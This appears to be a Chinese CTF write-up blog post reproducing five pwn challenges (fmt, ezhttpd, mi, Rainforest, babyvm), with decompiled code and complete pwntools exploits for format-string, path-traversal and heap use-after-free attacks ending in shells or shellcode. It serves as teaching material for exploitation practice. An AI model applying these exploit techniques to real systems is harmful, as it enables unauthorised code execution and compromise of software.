HWSand工控复现

HWS线上赛赛题复现

fmt

首先是个格式化字符串简单题

题目保护全开，libc给了2.31但是是栈题

题目给出了两次格式化字符串的机会，第一次我们可以泄露canary、libc_base、stack_addr、pro_base

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
unsigned __int64 run()
{
  char s1[88]; // [rsp+0h] [rbp-60h] BYREF
  unsigned __int64 v2; // [rsp+58h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("I need a str: ");
  read_n((__int64)s1, 80);
  if ( !strcmp(s1, "EXIT") )
    exit(0);
  printf(s1);
  putchar('\n');
  printf("I need other str: ");
  read_n((__int64)s1, 80);
  printf(s1);
  return __readfsqword(0x28u) ^ v2;
}

但是其中我们只需要泄露libc和stack_addr即可

泄露地址后修改main->__libc_start_main返回地址即可，我们可以通过gdb调试指令bt得知存放在栈上的一个返回值，如下：

1
2
3
4
5
6
7
8
9
10
11
pwndbg> bt                                                                                                 
#0  __printf (format=0x7fff0c211e90 "%1c%14$hhn%43210c%15$hn", 'a' <repeats 41 times>, "\b\037!\f\377\177")
 at printf.c:28                                                                                            
#1  0x0000559d1b7083af in run ()                                                                           
#2  0x0000559d1b7083e2 in main ()    
//下面这排
#3  0x00007faf319cd083 in __libc_start_main (main=0x559d1b7083c6 <main>, argc=1, argv=0x7fff0c211ff8, init=
<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fff0c211fe8) at ../csu/libc-
start.c:308                                                                                             
#4  0x0000559d1b70816e in _start ()

下面是整体步骤：

  1. 泄露libc，stack_addr
  2. 找到__libc_start_main在栈上的返回地址存放点，我们利用格式化字符串修改其为onegadget即可

exp如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
from LibcSearcher import *
from ctypes import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')
context.terminal = ['tmux','splitw','-h']

io = process('./pwn')
elf = ELF("./pwn")
s   = lambda content : io.send(content)
sl  = lambda content : io.sendline(content)
sa  = lambda content,send : io.sendafter(content, send)
sla = lambda content,send : io.sendlineafter(content, send)
rc  = lambda number : io.recv(number)
ru  = lambda content : io.recvuntil(content)

def slog(name, address): print("\033[40;34m[+]\033[40;35m" + name + "==>" +hex(address) + "\033[0m")

def debug(): 
   gdb.attach(io)
    
def get_address(): return u64(ru('\x7f')[-6:].ljust(8, b'\x00'))
sla("need a str: ",b'%17$p.%10$p.%13$p.%18$p')

ru("0x")
canary = int(rc(16),16)
ru("0x")
libc_base = int(rc(12), 16) - 0x1ed5c0
ru("0x")
pro_base = int(rc(12), 16) - 0x13f0
ru("0x")
ret = int(rc(12), 16) + 0x8
slog("canary", canary)
slog("libc_base", libc_base)
slog("pro_base", pro_base)
slog("return", ret)
one_gadget = [0xe3afe, 0xe3b01, 0xe3b04]
shell = one_gadget[1] + libc_base
slog("one_gadget", shell)

low_one = shell % 0x100
higth_two = int(shell/0x100)%0x10000
payload = b'%' + str(low_one).encode() + b'c%14$hhn%' + str(higth_two - low_one).encode() + b'c%15$hn'
payload = payload.ljust(0x40, b'a')
payload += p64(ret) + p64(ret + 1)

debug()
sla("other str: ", payload)
slog("shell", shell)
io.interactive()

ezhttpd

一个简单的服务器实现，可以发送套接字，该程序改自github上的一个项目TinyHttpd，可以参考一下github上的源码来逆

他的大致功能就是，首先你传递一个套接字，里面包含了头部类型信息、url等，他会对其中的字段进行验证

题目的漏洞点在于base64解密的部分，如下：

1
2
3
4
5
6
7
8
9
10
11
12
if ( !strcasecmp(method, "GET") )
{
  while ( numchar && strcmp("\n", buff) )
  {
    numchar = get_line(socket, buff, 1024);
    if ( !strncasecmp(buff, "Authorization: Basic ", 0x15uLL) )
    {
      base64_decode(v18, v12);
      if ( !sub_19B7(v12) )
        v2 = 0;
    }
  }

这里的v18实际上就是buff丢掉前面Authorization: Basic十五个字节后的部分，不得不说ida这里编译的确实离谱，然后我们可以看到v12他在我们之前栈上存放的url的上方

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int v2; // [rsp+18h] [rbp-918h]
int v3; // [rsp+1Ch] [rbp-914h]
unsigned int v4; // [rsp+20h] [rbp-910h]
unsigned __int64 numchar; // [rsp+28h] [rbp-908h]
__int64 j; // [rsp+28h] [rbp-908h]
unsigned __int64 i; // [rsp+30h] [rbp-900h]
unsigned __int64 v8; // [rsp+30h] [rbp-900h]
unsigned __int64 m; // [rsp+38h] [rbp-8F8h]
char *k; // [rsp+40h] [rbp-8F0h]
struct stat stat_buf; // [rsp+50h] [rbp-8E0h] BYREF
char v12[64]; // [rsp+E0h] [rbp-850h] BYREF 		//这里
char url[256]; // [rsp+120h] [rbp-810h] BYREF
char method[256]; // [rsp+220h] [rbp-710h] BYREF
char s[512]; // [rsp+320h] [rbp-610h] BYREF
char buff[16]; // [rsp+520h] [rbp-410h] BYREF
char v17[5]; // [rsp+530h] [rbp-400h] BYREF
_BYTE v18[1011]; // [rsp+535h] [rbp-3FBh] BYREF
unsigned __int64 v19; // [rsp+928h] [rbp-8h]

而其中我们没有判断v18的大小，所以说这里我们可以通过溢出到url来使得绕过之前url的..限制,

后面就是来检测咱们的url，他需要满足存在后缀名.css或.html等等，所以我们需要在溢出的url中满足该需求

然后到后面我们会有个?的判断，这里会使得url中从?开始截断

1
2
3
4
5
6
7
8
9
10
if ( !strcasecmp(method, "GET") )
{
  for ( k = url; *k != '?' && *k; ++k )
    ;
  if ( *k == '?' )
  {
    v3 = 1;
    *k++ = 0;
  }
}

然后我们到后面会存在sub_2993这个函数，里面调用了这样一个函数execl(url, 0),该函数属于exec函数簇，大致含义可以说调用新进程，所以我们可以在url中传入/bin/sh即可实现getshell，但是在此之前它会往我们的url头部添加一个htdocs/目录，所以我们使用..绕过即可

综上，我们传入的包头应该包含以下内容：

  1. 后缀名.html
  2. ../bin/sh
  3. 使用?来截断url的后缀名

以下是exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
from LibcSearcher import *
from ctypes import *
import base64
context(arch = 'amd64', os = 'linux', log_level = 'debug')
context.terminal = ['tmux','splitw','-h']

io = remote("127.0.0.1", 4000)

s   = lambda content : io.send(content)
sl  = lambda content : io.sendline(content)
sa  = lambda content,send : io.sendafter(content, send)
sla = lambda content,send : io.sendlineafter(content, send)
rc  = lambda number : io.recv(number)
ru  = lambda content : io.recvuntil(content)

def slog(name, address): print("\033[40;34m[+]\033[40;35m" + name + "==>" +hex(address) + "\033[0m")

def debug(): 
   gdb.attach(io, "b *0x555555556993")
    
def get_address(): return u64(ru('\x7f')[-6:].ljust(8, b'\x00'))

payload = b'GET ?/l1s00t.html HTTP/1.1\r\n'
payload += b'Authorization: Basic ' + base64.b64encode(b'\x00'*64 + b'/../../../../../../bin/sh?.html\x00')

payload += b'\n'
sl(payload)

io.interactive()

mi

其中涉及到新的malloc实现，名为mimalloc，其大致思想就是申请内存时首先给出整页，类似slub分配器一样，在一块页内空闲块连着空闲块，区别就是这个是虚拟内存而已,且在本题当中存在两个空闲链表，一个相当于热表，我们分配都是从他这里分，也就是free字段，我们还有一个冷表，当我们热表为空的时候，他就会将冷表整个赋值到热表，然后我们继续从中分配，这里记住我们是采用FIFO进行object链接的，并且我们所释放的所有堆块都会首先放入冷表贮存

题目逆向可知存在明显的UAF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int delete()
{
  unsigned int num; // [rsp+Ch] [rbp-4h]

  puts("Please input the idx:");
  num = get_num();
  if ( num > 0x20 || !chunk_ptr[num] || !chunk_size[num] )
  {
    puts("Invalid idx");
    _exit(0);
  }
  mi_free(chunk_ptr[num]);
  return puts("Done");
}

因此我们可以首先消耗掉热表，然后再次分配肯定是从之前释放到冷表的块那儿分配，我们可以提前将其fd指针(字符串存在的头八字节)修改为其他字节，例如environ，ret等等

因此本题的思路就是

  1. 泄露堆地址，libc地址，这里通过uaf来达成，并且堆头部0x240偏移地方存在一个milibcmalloc.so的地址，很方便我们使用，毕竟堆头嘛，再怎么说也得存点东西
  2. 同样UAF，构造environ堆块，泄露栈地址
  3. 修改add的返回值，将堆块分配到栈上，然后利用ROP来获取flag

exp如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
from pwn import * 
from LibcSearcher import* 
context(arch = 'amd64', os = 'linux', log_level = 'debug') 
context.terminal = ['tmux','splitw','-h']
io = process('./pwn')
#io = remote('59.110.164.72', 10066) 

s   = lambda content : io.send(content)
sl  = lambda content : io.sendline(content)
sa  = lambda content,send : io.sendafter(content, send)
sla = lambda content,send : io.sendlineafter(content, send)
rc  = lambda number : io.recv(number)
ru  = lambda content : io.recvuntil(content)

def slog(name, address): print("\033[40;31m[+]\033[40;35m"+ name + "==>" + hex(address) + "\033[0m")

def debug(): gdb.attach(io)
def get_address(): return u64(ru(b'\x7f')[-6:].ljust(8, b'\x00'))

def add(size, content = 'pwh'):    #0x2d
    sa(b">>", '1')
    sa(b"size:\n",str(size))
    sa(b'Content:\n', content)

def delete(index):
    sa(b">>", '2')
    sa(b'idx:\n', str(index))


def edit(index, content):
    sa(b'>>', '3')
    sa("idx:\n", str(index))
    sa("Content:\n", content)

def show(index):
    sa(b">>", '4')
    sa(b'idx:\n', str(index))

add(0x500)   # 0
add(0x500)   # 1
add(0x500)   # 2


delete(1)
delete(2)

edit(2, b'a')
show(2)
heap_base = u64(rc(6).ljust(8, b'\x00'))&(~0xff) - 0x20500

slog("heap_base", heap_base)
edit(2, p64(heap_base + 0x240))
add(0x500) #3
add(0x500, 'a') #4
show(4)
libmimalloc_base = u64(rc(6).ljust(8, b'\x00')) - 0x22861
slog("libmimalloc_base", libmimalloc_base)
libc_base = libmimalloc_base - 0x1f2000
slog("libc_base", libc_base)

libc = ELF('./libc.so.6')
env = libc.sym['_environ'] + libc_base
slog('environ', env)

add(0x200, b'aaaa') #5
add(0x200, b'aaaa') #6

delete(5)
delete(6)
add(0x200, b'aaaa') #7
add(0x200, b'aaaa') #8
add(0x200, b'aaaa') #9
add(0x200, b'aaaa') #10
add(0x200, b'aaaa') #11
add(0x200, b'aaaa') #12

edit(6, p64(env))
add(0x200, b'aaaa') #13
add(0x200, b'\x08') #14
show(14)
stack_addr = u64(rc(6).ljust(8, b'\x00'))
slog("stack_addr", stack_addr)
ret_addr = stack_addr - 0x120
slog("ret_addr", ret_addr)
add(0x300, b'bbbb') #15
delete(15)
add(0x300, b'bbbb') #16
add(0x300, b'bbbb') #17
add(0x300, b'bbbb') #18
add(0x300, b'bbbb') #19

pop_rdi = libc_base + 0x23b6a
pop_rsi = libc_base + 0x2601f
pop_rdx = libc_base + 0x142c92
mprotect = libc_base + libc.sym['mprotect']

payload = p64(pop_rdi) + p64(ret_addr&(~0xfff)) + p64(pop_rsi) + p64(0x1000) + p64(pop_rdx) + p64(7) + p64(mprotect)
payload += p64(ret_addr + 0x40) + asm(shellcraft.cat('./flag'))

edit(15, p64(ret_addr))
debug()
add(0x300, b'bbbb') #20
add(0x300, payload)
io.interactive()

工控决赛赛题复现

Rainforest

题目做下来不知道这名字跟题目有什么关联。

首先是逆向部分，本题的版本为2.31-9.2，算是较为方便的版本，并且栈保护全开，无法写got，可以考虑打malloc/free_hook

题目整体是一个常规的菜单题，每次添加会有一个0x30大小的描述块和0x300大小的内容块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int add()
{
  int num; // [rsp+4h] [rbp-Ch]
  void *describe_ptr; // [rsp+8h] [rbp-8h]

  puts("Please input the idx:");
  num = read_num();
  describe_ptr = malloc(0x20uLL);
  puts("Please input the subject:");
  my_write(describe_ptr, 0x20u);
  puts("Please input the content:");
  *(describe_ptr + 3) = malloc(0x2F0uLL);
  my_write(*(describe_ptr + 3), 0x2F0u);
  if ( exist_set[num] == 0x2333 )
    *(describe_ptr + 2) = describe_set[num];
  describe_set[num] = describe_ptr;
  exist_set[num] = 0x2333;
  return puts("Done");
}

这里有趣的点是他会构造一个链条，也就是说我们如果重复对一个全局数组下标的位置添加的话，他会形成一个头插的链表，然后在show和delete函数的时候会依次进行展示或释放

而本题的一个漏洞点就位于delete函数当中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int delete()
{
  __int64 num; // [rsp+Ch] [rbp-14h]
  __int64 i; // [rsp+10h] [rbp-10h]
  __int64 v3; // [rsp+18h] [rbp-8h]

  puts("Please input the idx:");
  num = read_num();
  if ( num > 0x10 || !describe_set[num] )
  {
    puts("Invalid idx");
    exit(-1);
  }
  for ( i = describe_set[num]; i; i = v3 )
  {
    v3 = *(i + 16);
    *(i + 16) = 0LL;
    free(*(i + 24));
  }
  exist_set[num] = 0;
  return puts("Done");
}

因此可以看到这是常见的UAF漏洞，其中我们可以看到他的这个描述块是并不清空的，所以我们可以多次利用该块来释放相同的堆块，造成多个堆块同时指向同一个地址

我们的利用手法如下：

  1. 首先利用UAF来构造指向相同地址的描述块，底层核心思想相同，具体实现则考验到我们对于glibc堆释放分配过程的理解，依据此我们可以分别泄露出heap base和libc base
  2. 我们可以在大堆块里面构造稍小的堆块，然后将两个重叠堆块均放置于链条上然后修改小堆块的fd指针，达成tcachebinattach，这里我才用写free_hook的方法

思想通了一切都好说，下面exp是打的时候慢慢试出来的，所以其中优化的部分没有细想，可能有些地方比较多余

最终exp如下：（写的时候方便调试换了9，做出来后懒得换回去了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import * 
from LibcSearcher import* 
context(arch = 'amd64', os = 'linux', log_level = 'debug') 
context.terminal = ['tmux','splitw','-h']
io = process('./Rainforest')
#io = remote('59.110.164.72', 10066) 
#io = remote("node4.buuoj.cn", 26610)

s   = lambda content : io.send(content)
sl  = lambda content : io.sendline(content)
sa  = lambda content,send : io.sendafter(content, send)
sla = lambda content,send : io.sendlineafter(content, send)
rc  = lambda number : io.recv(number)
ru  = lambda content : io.recvuntil(content)

def slog(name, address): print("\033[40;31m[+]\033[40;35m"+ name + "==>" + hex(address) + "\033[0m")

def debug(): gdb.attach(io)
def get_address(): return u64(ru(b'\x7f')[-6:].ljust(8, b'\x00'))

def add(idx, subject, content):    #0x2d
    sla(b">>", '1')
    sla(b"idx:\n",str(idx))
    sla(b'subject:\n', subject)
    sla(b'content:\n', content)


def delete(index):
    sla(b">>", '2')
    sla(b'idx:\n', str(index))

def show(index):
    sla(b">>", '3')
    sla(b'idx:\n', str(index))

#====== leak the heap base ======#

add(0, 'aaaa', b'aaaa')
add(1, 'aaa','ffff')
delete(0)
delete(1)
add(2, 'ccc','dddd')
delete(1)
show(2)
ru(':')
heap_base = u64(rc(6).ljust(8, b'\x00')) - 0x2d0
slog("heap_base_addr", heap_base)

debug()
#======== leak the libc base =========#
nums = [3, 4, 5, 6, 7, 8, 9, 10]
add(11, 'cccc', 'dddd')

for i in nums[:7]:
    add(i, 'ccc', 'ddd')

for i in nums[:7]:
    delete(i)

delete(1)
show(11)
libc_base = get_address() - 0x1ebbe0
slog("libc_base", libc_base)
#========= tcache attack ========#

libc = ELF('./../tools/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc.so.6')
free_hook = libc_base + libc.sym['__free_hook']
slog("free_hook", free_hook)
system = libc_base + libc.sym['system']
for i in nums[:7]:
    add(i, 'cccc', 'dddd')

add(12, p64(0)*2 + p64(heap_base + 0x1cc0), p64(0)*3 + p64(0x301) + p64(0) + p64(heap_base + 0x1cd0))

delete(12)

add(12, 'c', 'd')
add(13, 'd', 'e')
add(14, 'e', 'c')
delete(14)
delete(12)
delete(13)
add(15, 'aaa', p64(0)*3 + p64(0x301) + p64(free_hook))
add(3, 'c', 'd')
add(4, 'c', p64(system))
add(12, 'c', '/bin/sh\x00')
delete(12)
io.interactive()

babyvm

题目涉及到protobuf的基础知识

这个说起来也简单，就是类似一种高效版的xml文件，可以将我们的对象进行一个序列化，也就是转成一种串行的字节序列来进行传输，题目逆一下可以发现如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  __int64 protobuf_size; // rsi
  __int64 protobuf_structure; // [rsp+8h] [rbp-8h]

  sub_178D();
  while ( 1 )
  {
    memset(cmd, 0, sizeof(cmd));
    puts(">");
    protobuf_size = read(0, cmd, 0x400uLL);
    protobuf_structure = (__int64)decompile(0LL, protobuf_size, cmd);
    if ( !protobuf_structure )
      break;
    sub_157D(
      *(_QWORD *)(protobuf_structure + 0x18),
      *(_QWORD *)(protobuf_structure + 0x20),
      *(_QWORD *)(protobuf_structure + 0x28),
      *(_QWORD *)(protobuf_structure + 0x30),
      *(const void **)(protobuf_structure + 56));
  }
  error(0LL, protobuf_size);

这里的main函数就是不断的输出“>”然后我们发送cmd指令，但这里cmd可不是瞎发啊，这里是采用protobuf协议以一种字符串序列来进行传输命令，

然后就是下面的decompile函数

1
2
3
4
char *__fastcall sub_19F7(void **a1, unsigned __int64 a2, unsigned __int8 *a3)
{
  return sub_5180((__int64)&unk_AC80, a1, a2, a3);
}

可以发现他是调用另一个函数，到这里我就不准备再点进去看了，因为最近看内核源码看到太多这样的结构，所以我断定他是一个原生态实现的函数，所以不准备点进去逆，由于上下文的环境，大致可以猜测这个函数就是咱们的解码函数，也就是将咱们的序列化串来解析一下

下面就是咱们的主体函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
__int64 __fastcall sub_157D(__int64 choice, unsigned __int64 idx, __int64 size_0, __int64 a4, const void *a5)
{
  __int64 result; // rax
  size_t size_1; // [rsp+18h] [rbp-18h]

  size_1 = size_0;
  if ( idx >= 0x21 )
    error(choice, idx);
  if ( (unsigned __int64)a4 >= 0x101 )
    error(choice, idx);
  if ( (unsigned __int64)size_0 >= 0x101 )
    error(choice, idx);
  if ( size_0 < a4 )
    size_1 = a4;
  switch ( choice )
  {
    case 1LL:
      result = (__int64)add(idx, size_1, a4, a5);
      break;
    case 2LL:
      result = (__int64)edit(idx, a4, a5);
      break;
    case 3LL:
      result = show(idx);
      break;
    case 4LL:
      result = (__int64)delete(idx);
      break;
    case 5LL:
      exit(1);
    default:
      error(choice, idx);
  }
  return result;
}

很明显的一个菜单题,其中我们的漏洞点就是位于delete函数中的悬垂指针

本题主要是考了一个protobuf的用法，以及再ida中寻找相应消息类型的方法，只需要将消息传递搞懂其他就迎刃而解了，因为这个就是一个很简单的2.31UAF，所以本题利用步骤如下：

  1. 泄露libcbase，heapbase（没什么用）
  2. 修改free_hook为一段我们的利用链，其中利用setcontext进行栈迁移到free_hook上，然后调用mprotect提升内存段权限调用shellcode即可

整体exp如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
from pwn import * 
from LibcSearcher import* 
from struct import pack
from ctypes import *

import sys
sys.path.append('./output_dir')
import devicemsg_pb2

context(arch = 'amd64', os = 'linux', log_level = 'debug') 
context.terminal = ['tmux','splitw','-h']
io = process('./pwn')
#io = remote('59.110.164.72', 10066) 
#io = remote("node4.buuoj.cn", 26610)

s   = lambda content : io.send(content)
sl  = lambda content : io.sendline(content)
sa  = lambda content,send : io.sendafter(content, send)
sla = lambda content,send : io.sendlineafter(content, send)
rc  = lambda number : io.recv(number)
ru  = lambda content : io.recvuntil(content)

def slog(name, address): print("\033[40;31m[+]\033[40;35m"+ name + "==>" + hex(address) + "\033[0m")

def debug(): gdb.attach(io)
def get_address(): return u64(ru(b'\x7f')[-6:].ljust(8, b'\x00'))

def add(idx, size, content):    #0x2d
    msg = devicemsg_pb2.bufmsg()
    msg.code = 1
    msg.tarnum = idx
    msg.tarbody = size
    msg.tarbyte = content
    compiled_msg = msg.SerializeToString()

    sa(b'>\n', compiled_msg)

def edit(idx, content):
    msg = devicemsg_pb2.bufmsg()
    msg.code = 2
    msg.tarnum = idx
    msg.tarbody = len(content)
    msg.tarbyte = content
    compiled_msg = msg.SerializeToString()
    sa(b'>\n', compiled_msg)

def delete(idx):
    msg = devicemsg_pb2.bufmsg()
    msg.code = 4
    msg.tarnum = idx
    msg.tarbody = 1
    msg.tarbyte = b'\x00'
    compiled_msg = msg.SerializeToString()
    sa(b'>\n', compiled_msg)


def show(idx):
    msg = devicemsg_pb2.bufmsg()
    msg.code = 3
    msg.tarnum = idx
    msg.tarbody = 1
    msg.tarbyte = b'\x00'
    compiled_msg = msg.SerializeToString()
    sa(b'>\n', compiled_msg)


for i in range(1, 9):
    add(i, 0x100, b'aaaaa')

for i in range(1, 9):
    delete(i)

libc = ELF("../tools/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc-2.31.so")
show(8)
libc_base = get_address() - 0x1ebb00
slog("libc_base", libc_base)

#mov rdx, qword ptr [rdi + 0x8]; mov qword ptr [rsp], rax; call [rdx + 0x20]
strange_gadgets = libc_base + 0x1547a0
pop_rdi = libc_base + 0x26b72
ret = libc_base + 0x25679
pop_rsi = libc_base + 0x27529
pop_rdx_rbx = libc_base + 0x11c1e1

setcontext = libc_base + libc.sym['setcontext']
free_hook = libc_base + libc.sym['__free_hook']
mprotect = libc_base + libc.sym['mprotect']
slog("setcontext", setcontext)
slog("free_hook", free_hook)
show(7)

heap_base = u64(rc(6).ljust(8, b'\x00')) - 0x810 - 0x280
slog("heap_base", heap_base)

edit(7, p64(free_hook))
add(9, 0x100, b'ccccc')

edit(1, b'/bin/sh\x00')

payload = p64(strange_gadgets) + p64(free_hook) + p64(0)*2 + p64(setcontext + 61)
payload += p64(pop_rdi) + p64(free_hook&(~0xfff)) + p64(pop_rsi) + p64(0x1000) + p64(pop_rdx_rbx) + p64(7)*2 + p64(mprotect) 
payload += p64(free_hook + 0xb0)
payload = (payload).ljust(0xa0, b'\x0a') + p64(free_hook + 0x28) + p64(ret) + asm(shellcraft.cat('./flag'))

print(len(payload))
add(10, 0x100, payload)
debug()
delete(10)
io.interactive()

CTFwp
#PWN #CTF
HWSand工控复现
https://peiandhao.github.io/2023/07/24/HWSand工控复现/
作者
peiwithhao
发布于
2023年7月24日
许可协议